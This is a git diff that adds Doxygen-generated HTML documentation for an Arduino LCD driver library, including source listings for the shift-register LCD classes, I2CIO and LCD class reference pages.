+00040 // If not using Enable, the Data pin will be used for the enable signal.
+00041 // 2 wire mode can be indicated by:
+00042 // - ommitting the enable pin in constructor
+00043 // - defining the same pin for Enable as for Data in constructor
+00044 // - by using the token TWO_WIRE for the enable pin.
+00045 //
+00046 // Data and Clock outputs/pins goes to the shiftregister.
+00047 // LCD RW-pin hardwired to LOW (only writing to LCD).
+00048 // Busy Flag (BF, data bit D7) is not read.
+00049 //
+00050 //  Original project homepage: http://code.google.com/p/arduinoshiftreglcd/
+00051 //
+00052 //
+00053 // History
+00054 // 2012.03.29  bperrybap - can now eliminate enable pin in constructor for two wire mode.
+00055 // 2011.10.29  fmalpartida - adaption of the library to the LCD class hierarchy.
+00056 // 2011.07.02  Fixed a minor flaw in setCursor function. No functional change, 
+00057 //             just a bit more memory efficient.
+00058 //             Thanks to CapnBry (from google code and github) who noticed it.
+00059 //             URL to his version of shiftregLCD:
+00060 //             https://github.com/CapnBry/HeaterMeter/commit/c6beba1b46b092ab0b33bcbd0a30a201fd1f28c1
+00061 // 2009.07.30  raron - minor corrections to the comments.
+00062 //             Fixed timing to datasheet safe. Fixed keyword highlights.
+00063 // 2009.07.28  Mircho / raron - a new modification to the schematics, and a
+00064 //             more streamlined interface
+00065 // 2009.07.27  Thanks to an excellent suggestion from mircho at the Arduiono 
+00066 //             playgrond forum, the number of wires now required is only two!
+00067 // 2009.07.25  raron - Fixed comments. I really messed up the comments before 
+00068 //             posting this, so I had to fix it.
+00069 //             Renamed a function, but no improvements or functional changes.
+00070 // 2009.07.23  Incorporated some proper initialization routines
+00071 //             inspired (lets say copy-paste-tweaked) from LiquidCrystal
+00072 //             library improvements from LadyAda.
+00073 // 2009.05.23  raron - first version, but based mostly (as in almost verbatim)
+00074 //             on the "official" LiquidCrystal library.
+00075 //
+00076 //
+00077 //
+00078 // @author F. Malpartida - fmalpartida@gmail.com
+00079 // ---------------------------------------------------------------------------
+00080 #ifndef _LIQUIDCRYSTAL_SR_
+00081 #define _LIQUIDCRYSTAL_SR_
+00082 
+00083 #include <inttypes.h>
+00084 #include "LCD.h"
+00085 #include "FastIO.h"
+00086 
+00087 
+00088 // two-wire indicator constant
+00089 // ---------------------------------------------------------------------------
+00090 #define TWO_WIRE  204
+00091 #define SR_RS_BIT 0x04
+00092 #define SR_EN_BIT 0x80
+00093 
+00094 class LiquidCrystal_SR : public LCD
+00095 {
+00096 public:
+00108    LiquidCrystal_SR ( uint8_t srdata, uint8_t srclock, uint8_t enable=TWO_WIRE );
+00109    
+00122    virtual void send(uint8_t value, uint8_t mode);
+00123    
+00124    
+00134    void setBacklightPin ( uint8_t pin, t_backlighPol pol );
+00135    
+00145    void setBacklight ( uint8_t mode );
+00146    
+00147 private:
+00148    
+00154    void init ( uint8_t srdata, uint8_t srclock, uint8_t enable, uint8_t lines, 
+00155               uint8_t font );
+00156    
+00161    void shiftIt (uint8_t val);
+00162    
+00163    uint8_t _enable_pin;  // Enable Pin
+00164    uint8_t _two_wire;    // two wire mode
+00165    
+00166    fio_register _srDataRegister; // Serial Data pin
+00167    fio_bit _srDataBit;
+00168    fio_register _srClockRegister; // Clock Pin
+00169    fio_bit _srClockBit;
+00170    fio_register _srEnableRegister; // Enable Pin
+00171    fio_bit _srEnableBit;
+00172    
+00173 };
+00174 
+00175 #endif
+00176 
+
+
+ + + + +
+ +
+ +
Generated on Thu Apr 5 2012 18:17:46 for LCD Library by  + +doxygen 1.7.4
+ + diff --git a/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r___l_c_d3_8cpp.html b/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r___l_c_d3_8cpp.html new file mode 100644 index 0000000..8049852 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r___l_c_d3_8cpp.html @@ -0,0 +1,147 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR_LCD3.cpp File Reference + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
+Defines
+
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR_LCD3.cpp File Reference
+
+
+
#include <stdio.h>
+#include <string.h>
+#include <inttypes.h>
+#include <WProgram.h>
+#include "FastIO.h"
+#include "LiquidCrystal_SR_LCD3.h"
+
+

Go to the source code of this file.

+ + + + + +

+Defines

#define SR_EN_BIT   B00010000
#define SR_RS_BIT   B01000000
#define SR_RW_BIT   B00100000
+

Define Documentation

+ +
+
+ + + + +
#define SR_EN_BIT   B00010000
+
+
+ +

Definition at line 167 of file LiquidCrystal_SR_LCD3.cpp.

+ +
+
+ +
+
+ + + + +
#define SR_RS_BIT   B01000000
+
+
+ +

Definition at line 169 of file LiquidCrystal_SR_LCD3.cpp.

+ +
+
+ +
+
+ + + + +
#define SR_RW_BIT   B00100000
+
+
+ +

Definition at line 168 of file LiquidCrystal_SR_LCD3.cpp.

+ +
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+ + + + +
+ +
+ +
Generated on Sun Mar 4 2012 21:17:07 for LCD Library by  + +doxygen 1.7.4
+ + diff --git a/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r___l_c_d3_8cpp_source.html b/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r___l_c_d3_8cpp_source.html new file mode 100644 index 0000000..310997e --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r___l_c_d3_8cpp_source.html @@ -0,0 +1,295 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR_LCD3.cpp Source File + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR_LCD3.cpp
+
+
+Go to the documentation of this file.
00001 // ---------------------------------------------------------------------------
+00002 // Originally Created by Francisco Malpartida on 2011/08/20.
+00003 // Copyright 2011 - Under creative commons license 3.0:
+00004 //        Attribution-ShareAlike CC BY-SA
+00005 //
+00006 // This software is furnished "as is", without technical support, and with no 
+00007 // warranty, express or implied, as to its usefulness for any purpose.
+00008 //
+00009 // 2012/01/21 - Marc MERLIN
+00010 // This library, LiquidCrystal_SR_LCD3, was forked off LiquidCrystal_SR which
+00011 // used a different wiring than the Pebble and Pebblev2 (just released by
+00012 // freetronics in the arduino miniconf as part of linux.conf.au 2012) and
+00013 // therefore this code organizes the output data differently.
+00014 //
+00015 // Upstream source for this module is
+00016 // https://github.com/marcmerlin/NewLiquidCrystal
+00017 //
+00018 // Thread Safe: No
+00019 // Extendable: Yes
+00020 //
+00021 // @file LiquidCrystal_SR_LCD3.h
+00022 //
+00023 //  Connects an LCD using 3 pins from the Arduino, via an 8-bit 
+00024 //  ShiftRegister (SR from now on).
+00025 //  The original port source for this module is https://github.com/marcmerlin/NewLiquidCrystal
+00026 //  The 'FastIO' merge has madethis code 4 times faster.
+00027 // 
+00028 // @brief 
+00029 // This is a port of the ShiftRegLCD library from raron and ported to the
+00030 // LCD library.
+00031 //
+00032 // The functionality provided by this class and its base class is identical
+00033 // to the original functionality of the Arduino LiquidCrystal library and can
+00034 // be used as such.
+00035 //
+00036 // Pinout for this code is used by derivatives of the original LCD3Wire page:
+00037 // http://www.arduino.cc/playground/Code/LCD3wires
+00038 //
+00039 // This includes the LCA (linux.conf.au) Arduino Miniconf Pebble: 
+00040 // http://shieldlist.org/luke-weston/pebble
+00041 // https://github.com/lukeweston/Pebble
+00042 //
+00043 // It also includes the Pebble v2:
+00044 // http://www.arduinominiconf.org/index.php/Pebble_V2.0_Instructions
+00045 // http://www.freetronics.com/pages/pebble-v2
+00046 // https://github.com/lukeweston/pebble20/blob/master/README.md
+00047 // https://github.com/lukeweston/pebble20/blob/master/pebble-sch.pdf
+00048 //
+00049 // Shiftregister connection description:
+00050 // MC14094 input:  Arduino digital pin 2=Clock, pin 3=Data, pin 4=Strobe
+00051 // MC14094 output: Q8=DB4, Q7=DB5, Q6=DB6, Q5=DB7, Q4=E, Q3=RW, Q2=RS, Q1=None
+00052 //
+00053 //   +--------------------------------------------+
+00054 //   |    Arduino (ATMega 168 or 328)             |
+00055 //   |    D02           D03           D04         |
+00056 //   +----+-------------+-------------+-----------+
+00057 //        |4            |5            |6
+00058 //        |1            |2            |3
+00059 //   +----+-------------+-------------+-----------+
+00060 //   |    Strobe        Data          Clock       |
+00061 //   |    MC14094 8-bit shift/latch register      |
+00062 //   |    Q8   Q7   Q6   Q5   Q4   Q3   Q2   Q1   |
+00063 //   +----+----+----+----+----+----+----+----+----+
+00064 //        |11  |12  |13  |14  |7   |6   |5   |4
+00065 //        |11  |12  |13  |14  |6   |5   |4
+00066 //   +----+----+----+----+----+----+----+---------+
+00067 //   |    DB4  DB5  DB6  DB7  E    RW   RS        |
+00068 //   |               LCD KS0066                   |
+00069 //   +--------------------------------------------+
+00070 //
+00071 // 3 Pins required from the Arduino for Data, Clock, and Enable/Strobe.
+00072 //
+00073 // This code was inspired from LiquidCrystal_SR from
+00074 // http://code.google.com/p/arduinoshiftreglcd/
+00075 // but was written for implementing LiquidCrystal support for the Pebble
+00076 // and Pebblev2 (see below).
+00077 // The Pebbles's LCD and shift register wiring were inspired from this
+00078 // original page:
+00079 // http://www.arduino.cc/playground/Code/LCD3wires
+00080 // 
+00081 // Pebbles and the LCD3Wires design are compatible hardware-wise, but
+00082 // the LCD3Wire code does not work with arduino 1.0 anymore and is generally
+00083 // quite limited in functionality compared to this framework that provides the
+00084 // entire LiquidDisplay functionality.
+00085 // Why not just use the LiquidCrystal_SR pinout?
+00086 // - LCD3Wire was first and therefore have hardware that was designed with 
+00087 //   incompatible (IMO better if you don't mind 3 wires) pinout.
+00088 // - The pinout used here is same saner (the 4 bits for the LCD are all in one 
+00089 //   nibble of the shift register, not spread across 2 like in the
+00090 //   LiquidCrystal_SR pinout)
+00091 //
+00092 // Note however that LiquidCrystal_SR while a bit more complex wiring and code
+00093 // wise, supports non latching shift registers and it a few percent faster than
+00094 // this code since it can address the LCD enable pin without having to send 
+00095 // a pulse through the shift register like the LCD3Wires setup requires.
+00096 //  
+00097 // This code makes sure to properly follow the specifications when talking
+00098 // to the LCD while using minimal delays (it's faster than the LCD3wire and aiko
+00099 // pebble code).
+00100 //
+00101 // @author Marc MERLIN - marc_soft<at>merlins.org.
+00102 // ---------------------------------------------------------------------------
+00103 #include <stdio.h>
+00104 #include <string.h>
+00105 #include <inttypes.h>
+00106 
+00107 #if (ARDUINO <  100)
+00108 #include <WProgram.h>
+00109 #else
+00110 #include <Arduino.h>
+00111 #endif
+00112 #include "FastIO.h"
+00113 #include "LiquidCrystal_SR_LCD3.h"
+00114 
+00115 
+00116 // STATIC helper functions
+00117 // ---------------------------------------------------------------------------
+00118 
+00119 
+00120 // CONSTRUCTORS
+00121 // ---------------------------------------------------------------------------
+00122 // Assuming 1 line 8 pixel high font
+00123 LiquidCrystal_SR_LCD3::LiquidCrystal_SR_LCD3 ( uint8_t srdata, uint8_t srclock, 
+00124                                               uint8_t strobe )
+00125 {
+00126         init ( srdata, srclock, strobe, 1, 0 );
+00127 }
+00128 
+00129 
+00130 // PRIVATE METHODS
+00131 // ---------------------------------------------------------------------------
+00132 
+00133 //
+00134 // init
+00135 void LiquidCrystal_SR_LCD3::init( uint8_t srdata, uint8_t srclock, uint8_t strobe, 
+00136                                  uint8_t lines, uint8_t font )
+00137 {
+00138         // Initialise private variables
+00139         // translate all pins to bits and registers
+00140         // pinMode to OUTPUT, Output LOW
+00141    
+00142    _srdata_bit = fio_pinToBit(srdata);
+00143    _srdata_register = fio_pinToOutputRegister(srdata);
+00144    _srclock_bit = fio_pinToBit(srclock);
+00145    _srclock_register = fio_pinToOutputRegister(srclock);
+00146    _strobe_bit = fio_pinToBit(strobe);
+00147    _strobe_register = fio_pinToOutputRegister(strobe);
+00148    
+00149    // Little trick to force a pulse of the LCD enable bit and make sure it is
+00150    // low before we start further writes since this is assumed.
+00151    
+00152    write4bits(0);
+00153    
+00154    _displayfunction = LCD_4BITMODE | LCD_1LINE | LCD_5x10DOTS;
+00155 }
+00156 
+00157 // PUBLIC METHODS
+00158 // ---------------------------------------------------------------------------
+00159 
+00160 
+00161 /************ low level data pushing commands **********/
+00162 
+00163 // Code below was borrowed from LCD3Wire from
+00164 // http://www.arduino.cc/playground/Code/LCD3wires
+00165 
+00166 // bitmasks for control bits on shift register
+00167 #define SR_EN_BIT B00010000   // LCD Data enable bit.
+00168 #define SR_RW_BIT B00100000   // RW can be pinned low since we only send
+00169 #define SR_RS_BIT B01000000   // LOW: command. HIGH: character.
+00170 
+00171 void LiquidCrystal_SR_LCD3::send(uint8_t value, uint8_t mode) 
+00172 {
+00173    uint8_t nibble;
+00174    
+00175    mode = mode ? SR_RS_BIT : 0; // RS bit; LOW: command.  HIGH: character.
+00176    
+00177    nibble = value >> 4; // Get high nibble.
+00178    write4bits(nibble | mode);
+00179    
+00180    //delay(1); // This was in the LCD3 code but does not seem needed -- merlin
+00181    
+00182    nibble = value & 15; // Get low nibble
+00183    write4bits(nibble | mode);
+00184 }
+00185 
+00186 void LiquidCrystal_SR_LCD3::write4bits(uint8_t nibble) 
+00187 {
+00188    nibble &= ~SR_RW_BIT; // set RW LOW (we do this always since we only write).
+00189    
+00190    // Send a High transition to display the data that was pushed
+00191    nibble |=  SR_EN_BIT; // LCD Data Enable HIGH
+00192    _pushOut(nibble);
+00193    nibble &= ~SR_EN_BIT; // LCD Data Enable LOW
+00194    _pushOut(nibble); 
+00195 }
+00196 
+00197 // push byte to shift register and on to LCD
+00198 void LiquidCrystal_SR_LCD3::_pushOut(uint8_t nibble) 
+00199 {
+00200    // Make data available for pushing to the LCD.
+00201    fio_shiftOut(_srdata_register, _srdata_bit, _srclock_register, _srclock_bit, nibble, LSBFIRST);
+00202    
+00203    // Make new data active.
+00204    ATOMIC_BLOCK(ATOMIC_RESTORESTATE)
+00205    {
+00206       fio_digitalWrite_HIGH(_strobe_register, _strobe_bit);
+00207       waitUsec( 1 ); // strobe pulse must be >450ns (old code had 10ms)
+00208       fio_digitalWrite_SWITCHTO(_strobe_register, _strobe_bit,LOW);
+00209    }
+00210    waitUsec( 40 ); // commands need > 37us to settle
+00211 }
+
+
+ + + + +
+ +
+ +
Generated on Sun Mar 4 2012 21:17:06 for LCD Library by  + +doxygen 1.7.4
+ + diff --git a/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r___l_c_d3_8h.html b/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r___l_c_d3_8h.html new file mode 100644 index 0000000..1b75e74 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r___l_c_d3_8h.html @@ -0,0 +1,95 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR_LCD3.h File Reference + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
+Classes
+
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR_LCD3.h File Reference
+
+
+
#include <inttypes.h>
+#include "LCD.h"
+
+

Go to the source code of this file.

+ + + +

+Classes

class  LiquidCrystal_SR_LCD3
+
+ + + + +
+ +
+ +
Generated on Sun Mar 4 2012 21:17:07 for LCD Library by  + +doxygen 1.7.4
+ + diff --git a/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r___l_c_d3_8h_source.html b/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r___l_c_d3_8h_source.html new file mode 100644 index 0000000..9888666 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r___l_c_d3_8h_source.html @@ -0,0 +1,129 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR_LCD3.h Source File + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR_LCD3.h
+
+
+Go to the documentation of this file.
00001 // ---------------------------------------------------------------------------
+00002 // Created by Francisco Malpartida on 20/08/11.
+00003 // Copyright 2011 - Under creative commons license 3.0:
+00004 //        Attribution-ShareAlike CC BY-SA
+00005 //
+00006 // This module is a port by Marc MERLIN <marc_soft<at>merlins.org>
+00007 // See .cpp file for hardware details.
+00008 // ---------------------------------------------------------------------------
+00009 #ifndef _LIQUIDCRYSTAL_SR_LCD3_
+00010 #define _LIQUIDCRYSTAL_SR_LCD3_
+00011 
+00012 #include <inttypes.h>
+00013 #include "LCD.h"
+00014 
+00015 
+00016 class LiquidCrystal_SR_LCD3 : public LCD
+00017 {
+00018 public:
+00030    LiquidCrystal_SR_LCD3 ( uint8_t srdata, uint8_t srclock, uint8_t enable );
+00031    
+00044    virtual void send(uint8_t value, uint8_t mode);
+00045    
+00046    
+00047 private:
+00048    
+00054    void init ( uint8_t srdata, uint8_t srclock, uint8_t enable, uint8_t lines, 
+00055               uint8_t font );
+00061    void write4bits ( uint8_t );
+00062    void _pushOut ( uint8_t );
+00063    
+00064    // Serial Data pin
+00065    fio_bit _srdata_bit;
+00066    fio_register _srdata_register;
+00067    
+00068    // Clock Pin
+00069    fio_bit _srclock_bit;
+00070    fio_register _srclock_register;
+00071    
+00072    // Enable Pin
+00073    fio_bit _strobe_bit;
+00074    fio_register _strobe_register;
+00075 };
+00076 
+00077 #endif
+00078 
+
+
+ + + + +
+ +
+ +
Generated on Sun Mar 4 2012 21:17:07 for LCD Library by  + +doxygen 1.7.4
+ + diff --git a/libraries/LiquidCrystal/docs/html/annotated.html b/libraries/LiquidCrystal/docs/html/annotated.html new file mode 100644 index 0000000..4fab574 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/annotated.html @@ -0,0 +1,95 @@ + + + + +LCD Library: Class List + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
+
Class List
+
+
+
Here are the classes, structs, unions and interfaces with brief descriptions:
+ + + + + + + +
I2CIO
LCD
LiquidCrystal
LiquidCrystal_I2C
LiquidCrystal_SR
LiquidCrystal_SR2W
LiquidCrystal_SR3W
+
+ + + + +
+ +
+ +
Generated on Thu Apr 5 2012 18:17:46 for LCD Library by  + +doxygen 1.7.4
+ + diff --git a/libraries/LiquidCrystal/docs/html/bc_s.png b/libraries/LiquidCrystal/docs/html/bc_s.png new file mode 100644 index 0000000000000000000000000000000000000000..e4018628b5b45cb4301037485a29d7d74ac22138 GIT binary patch literal 677 zcmV;W0$TlvP)X?0Pv5h+5!wElpi=&YL!gfY!djl#UDdPKy97F|A-deTa@qo3BWh1YQIvzmHR^g zFjV4I6pLB7_*vEZk^%p7c7Bh>0`4r^X#gpJE_Vz9fSHKqclcZaV^k3gX%h+1`u||O zZ+BY?7(R=ayr^kXE=E0Dw=$Ud3VJ?9^Cz@hP?388Cw5>9TloOJ>^KczCgj zns2=|0!a|)Yq3{hjL{xyy7|Tk0N}Pe+g9PUTL!4{#;eUhrNd@!_T<>Vu+35c)h>sq ztgb?(6W3oFLz#%?OMEV@{j#4LuDvjVGZ~6hpQT8li5b0yjvK8c4efl+vSz5)P6 zle78)00_Iv5)&E~hnOdcd}L}i+MU>k+Q8#@KjqJJN`gRj(~)RmNrck9ht@LelPtVO zwp(J;k!T=gC#%o(13-^E+g@aqc()pf{+j|0w)AH*Mq$54UjLv#jV$RYpz3Vjg$$=u z>yjfBQOhL=^@+#4#$l|{~}HZ-?1Yy{lI*$N}*YDC`<{+;>_#gMXZdz4NI00000 LNkvXXu0mjfx86dR literal 0 HcmV?d00001 diff --git a/libraries/LiquidCrystal/docs/html/class_i2_c_i_o-members.html b/libraries/LiquidCrystal/docs/html/class_i2_c_i_o-members.html new file mode 100644 index 0000000..01d0efd --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/class_i2_c_i_o-members.html @@ -0,0 +1,95 @@ + + + + +LCD Library: Member List + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
+
I2CIO Member List
+
+
+This is the complete list of members for I2CIO, including all inherited members. + + + + + + + + +
begin(uint8_t i2cAddr)I2CIO
digitalRead(uint8_t pin)I2CIO
digitalWrite(uint8_t pin, uint8_t level)I2CIO
I2CIO()I2CIO
pinMode(uint8_t pin, uint8_t dir)I2CIO
portMode(uint8_t dir)I2CIO
read(void)I2CIO
write(uint8_t value)I2CIO
+ + + + +
+ +
+ +
Generated on Thu Apr 5 2012 18:17:46 for LCD Library by  + +doxygen 1.7.4
+ + diff --git a/libraries/LiquidCrystal/docs/html/class_i2_c_i_o.html b/libraries/LiquidCrystal/docs/html/class_i2_c_i_o.html new file mode 100644 index 0000000..bee1a49 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/class_i2_c_i_o.html @@ -0,0 +1,339 @@ + + + + +LCD Library: I2CIO Class Reference + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
+Public Member Functions
+
+
I2CIO Class Reference
+
+
+ +

#include <I2CIO.h>

+ +

List of all members.

+ + + + + + + + + + +

+Public Member Functions

int begin (uint8_t i2cAddr)
uint8_t digitalRead (uint8_t pin)
int digitalWrite (uint8_t pin, uint8_t level)
 I2CIO ()
void pinMode (uint8_t pin, uint8_t dir)
void portMode (uint8_t dir)
uint8_t read (void)
int write (uint8_t value)
+

Detailed Description

+
+

Definition at line 41 of file I2CIO.h.

+

Constructor & Destructor Documentation

+ +
+
+ + + + + + + +
I2CIO::I2CIO ()
+
+
+

Constructor method Class constructor constructor.

+ +

Definition at line 44 of file I2CIO.cpp.

+ +
+
+

Member Function Documentation

+ +
+
+ + + + + + + + +
int I2CIO::begin (uint8_t i2cAddr)
+
+
+

Initializes the device. This method initializes the device allocating an I2C address. This method is the first method that should be call prior to calling any other method form this class. On initialization all pins are configured as INPUT on the device.

+
Parameters:
+ + +
i2cAddr,:I2C Address where the device is located.
+
+
+
Returns:
1 if the device was initialized correctly, 0 otherwise
+ +

Definition at line 57 of file I2CIO.cpp.

+ +
+
+ +
+
+ + + + + + + + +
uint8_t I2CIO::digitalRead (uint8_t pin)
+
+
+

Read a pin from the device. Reads a particular pin from the device. To read a particular pin it has to be configured as INPUT. During initialization all pins are configured as INPUTs by default. Please refer to pinMode or portMode.

+
Parameters:
+ + +
pin[in]Pin from the port to read its status. Range (0..7)
+
+
+
Returns:
Returns the pin status (HIGH, LOW) if the pin is configured as an output, reading its value will always return LOW regardless of its real state.
+ +

Definition at line 153 of file I2CIO.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + +
int I2CIO::digitalWrite (uint8_t pin,
uint8_t level 
)
+
+
+

Writes a digital level to a particular pin. Write a level to the indicated pin of the device. For this method to have effect, the pin has to be configured as OUTPUT using the pinMode or portMode methods.

+
Parameters:
+ + +
pin[in]device pin to change level. Range (0..7). level[in] logic level to set the pin at (HIGH, LOW).
+
+
+
Returns:
1 on success, 0 otherwise.
+ +

Definition at line 170 of file I2CIO.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + +
void I2CIO::pinMode (uint8_t pin,
uint8_t dir 
)
+
+
+

Sets the mode of a particular pin. Sets the mode of a particular pin to INPUT, OUTPUT. digitalWrite has no effect on pins which are not declared as output.

+
Parameters:
+ + + +
pin[in]Pin from the I2C IO expander to be configured. Range 0..7
dir[in]Pin direction (INPUT, OUTPUT).
+
+
+ +

Definition at line 76 of file I2CIO.cpp.

+ +
+
+ +
+
+ + + + + + + + +
void I2CIO::portMode (uint8_t dir)
+
+
+

Sets all the pins of the device in a particular direction. This method sets all the pins of the device in a particular direction. This method is useful to set all the pins of the device to be either inputs or outputs.

+
Parameters:
+ + +
dir[in]Direction of all the pins of the device (INPUT, OUTPUT).
+
+
+ +

Definition at line 93 of file I2CIO.cpp.

+ +
+
+ +
+
+ + + + + + + + +
uint8_t I2CIO::read (void )
+
+
+

Reads all the pins of the device that are configured as INPUT. Reads from the device the status of the pins that are configured as INPUT. During initialization all pins are configured as INPUTs by default. Please refer to pinMode or portMode.

+
Parameters:
+ + +
none
+
+
+ +

Definition at line 111 of file I2CIO.cpp.

+ +
+
+ +
+
+ + + + + + + + +
int I2CIO::write (uint8_t value)
+
+
+

Write a value to the device. Writes to a set of pins in the device. The value is the binary representation of all the pins in device. The value written is masked with the configuration of the direction of the pins; to change the state of a particular pin with this method, such pin has to be configured as OUTPUT using the portMode or pinMode methods. If no pins have been configured as OUTPUTs this method will have no effect.

+
Parameters:
+ + +
value[in]value to be written to the device.
+
+
+
Returns:
1 on success, 0 otherwise
+ +

Definition at line 130 of file I2CIO.cpp.

+ +
+
+
The documentation for this class was generated from the following files:
    +
  • /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h
    • +
  • /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.cpp
    • +
+
+ + + + +
+ +
+ +
Generated on Thu Apr 5 2012 18:17:46 for LCD Library by  + +doxygen 1.7.4
+ + diff --git a/libraries/LiquidCrystal/docs/html/class_l_c_d-members.html b/libraries/LiquidCrystal/docs/html/class_l_c_d-members.html new file mode 100644 index 0000000..95c0aa6 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/class_l_c_d-members.html @@ -0,0 +1,120 @@ + + + + +LCD Library: Member List + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
+
LCD Member List
+
+
+This is the complete list of members for LCD, including all inherited members. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
_colsLCD [protected]
_displaycontrolLCD [protected]
_displayfunctionLCD [protected]
_displaymodeLCD [protected]
_numlinesLCD [protected]
_polarityLCD [protected]
autoscroll()LCD
backlight(void)LCD
begin(uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)LCD [virtual]
blink()LCD
clear()LCD
createChar(uint8_t location, uint8_t charmap[])LCD
cursor()LCD
display()LCD
home()LCD
LCD()LCD
leftToRight()LCD
moveCursorLeft()LCD
moveCursorRight()LCD
noAutoscroll()LCD
noBacklight(void)LCD
noBlink()LCD
noCursor()LCD
noDisplay()LCD
off(void)LCD
on(void)LCD
rightToLeft()LCD
scrollDisplayLeft()LCD
scrollDisplayRight()LCD
setBacklight(uint8_t value)LCD [inline, virtual]
setBacklightPin(uint8_t value, t_backlighPol pol)LCD [inline, virtual]
setCursor(uint8_t col, uint8_t row)LCD
write(uint8_t value)LCD [virtual]
+ + + + +
+ +
+ +
Generated on Thu Apr 5 2012 18:17:46 for LCD Library by  + +doxygen 1.7.4
+ + diff --git a/libraries/LiquidCrystal/docs/html/class_l_c_d.html b/libraries/LiquidCrystal/docs/html/class_l_c_d.html new file mode 100644 index 0000000..a63437a --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/class_l_c_d.html @@ -0,0 +1,982 @@ + + + + +LCD Library: LCD Class Reference + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
+Public Member Functions | +Protected Attributes
+
+
LCD Class Reference
+
+
+ +

#include <LCD.h>

+
+Inheritance diagram for LCD:
+
+
+ + +LiquidCrystal +LiquidCrystal_I2C +LiquidCrystal_SR +LiquidCrystal_SR2W +LiquidCrystal_SR3W + +
+ +

List of all members.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

+Public Member Functions

void autoscroll ()
void backlight (void)
virtual void begin (uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)
void blink ()
void clear ()
void createChar (uint8_t location, uint8_t charmap[])
void cursor ()
void display ()
void home ()
 LCD ()
void leftToRight ()
void moveCursorLeft ()
void moveCursorRight ()
void noAutoscroll ()
void noBacklight (void)
void noBlink ()
void noCursor ()
void noDisplay ()
void off (void)
void on (void)
void rightToLeft ()
void scrollDisplayLeft ()
void scrollDisplayRight ()
virtual void setBacklight (uint8_t value)
virtual void setBacklightPin (uint8_t value, t_backlighPol pol)
void setCursor (uint8_t col, uint8_t row)
virtual void write (uint8_t value)

+Protected Attributes

uint8_t _cols
uint8_t _displaycontrol
uint8_t _displayfunction
uint8_t _displaymode
uint8_t _numlines
t_backlighPol _polarity
+

Detailed Description

+
+

Definition at line 169 of file LCD.h.

+

Constructor & Destructor Documentation

+ +
+
+ + + + + + + +
LCD::LCD ()
+
+
+

LiquidCrystal abstract constructor. LiquidCrystal class abstract constructor needed to create the base abstract class.

+ +

Definition at line 49 of file LCD.cpp.

+ +
+
+

Member Function Documentation

+ +
+
+ + + + + + + + +
void LCD::autoscroll (void )
+
+
+

